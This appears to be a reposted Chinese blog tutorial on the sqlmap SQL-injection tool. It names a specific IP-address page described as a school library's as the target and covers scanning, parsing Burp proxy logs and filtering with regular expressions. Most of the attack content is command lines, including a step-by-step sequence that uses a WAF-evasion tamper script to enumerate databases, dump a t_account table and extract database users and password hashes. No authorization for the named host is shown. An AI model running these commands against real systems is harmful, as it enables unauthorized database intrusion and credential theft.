安全测试--注入扫描 sqlmap

1.url:  学校图书馆 http://210.38.192.31:81/test.aspx

2 开始使用SQLMAP 

解压sqlmap到硬盘

比如D:/sqlmap,打开CMD,输入python D:sqlmapsqlmap.py 就可以用了。

  • 列几个基本命令

./sqlmap.py –h     //查看帮助信息

./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere”  //get注入


也可在kali 直接输入 sqlmap -u http://210.38.192.31:81/test.aspx


注:没有网站给我试,暂时就到这。

sqlmap.py -r 1.txt --threads=10 --tamper=space2comment --current-db -v 3

在觉得可能sql注入的地方提交表单,复制请求信息到根目录 1.txt 下,运行上面命令。



http://blog.csdn.net/wn314/article/details/78872828

3.从Burp或WebScarab的代理日志中解析目标

参数:-l

使用参数“-l”指定一个Burp或WebScarab的代理日志文件,Sqlmap将从日志文件中解析出可能的攻击目标,并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。

WebScarab我没有用过,Burp倒是常常会用。Burp默认不记录日志,想要记录日志需要手动开启,设置方法如下图所示:

设置burp日志

只用勾选代理中的请求数据就足够了,日志文件路径可随意设置,这里我设置日志文件名为proxy.log,放在用户主目录中。

设置浏览器的代理为Burp,随便浏览几个网页后发现proxy.log竟然已经有70多K大,查看其内容,部分输出如下:

  werner@Yasser:~$ more proxy.log
  ======================================================
  7:22:52 PM  http://ocsp.digicert.com:80  [117.18.237.29]
  ======================================================
  POST / HTTP/1.1
  Host: ocsp.digicert.com
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Length: 83
  Content-Type: application/ocsp-request
  DNT: 1
  Connection: close

  0Q0O0M0K0I0   +
  �ǝ��Pr�Tz�
  ======================================================



  ======================================================
  7:23:00 PM  http://blog.csdn.net:80  [47.95.49.160]
  ======================================================
  GET /pyufftj/article/details/21469201 HTTP/1.1
  Host: blog.csdn.net
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  ...

可以看到该日志文件不仅记录了GET参数,还记录了cookie和POST参数。现在使用如下命令让Sqlmap解析该日志文件,自动寻找目标,检测注入漏洞:

  python sqlmap.py -l ../proxy.log

注意日志文件的路径要写正确。执行该命令时,每找到一个可能的攻击目标,Sqlmap都会询问是否要检测该目标。,默认回答为“Y”,想要测试该目标,直接按回车键就行。

当日志较大时会有很多可能目标,虽然有询问机制但依旧麻烦,因为不能一路按回车而要进行判断。若是可以对日志进行过滤就好了!确实是可以的,参数为“–scope”,详情见“五.18”。


18.用正则表达式过滤代理日志

参数:–scope

指定一个Python正则表达式对代理日志进行过滤,只测试符合正则表达式的目标,如:

  python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"




小实战:

1.抓取请求,保存到get.txt

扫描是否有可以注入的点:

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment --current-db -v 3



2.查看数据库

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment --dbs -v 3


3 查看数据表

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment -D core --tables -v 3


4 查看某张表的columns信息

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment -D core -T t_account --columns -v 3


5 查看表里的数据

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment -D core -T t_account --dump -v 3

6.账户密码

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment --users -v 2

python2.7 c:\sqlmap\sqlmap.py -r c:\sqlmap\get.txt --threads=10 --tamper=space2comment --passwords -v 2


更多操作见:http://blog.csdn.net/wn314/article/details/78872828



猜你喜欢

转载自blog.csdn.net/qton_csdn/article/details/79353368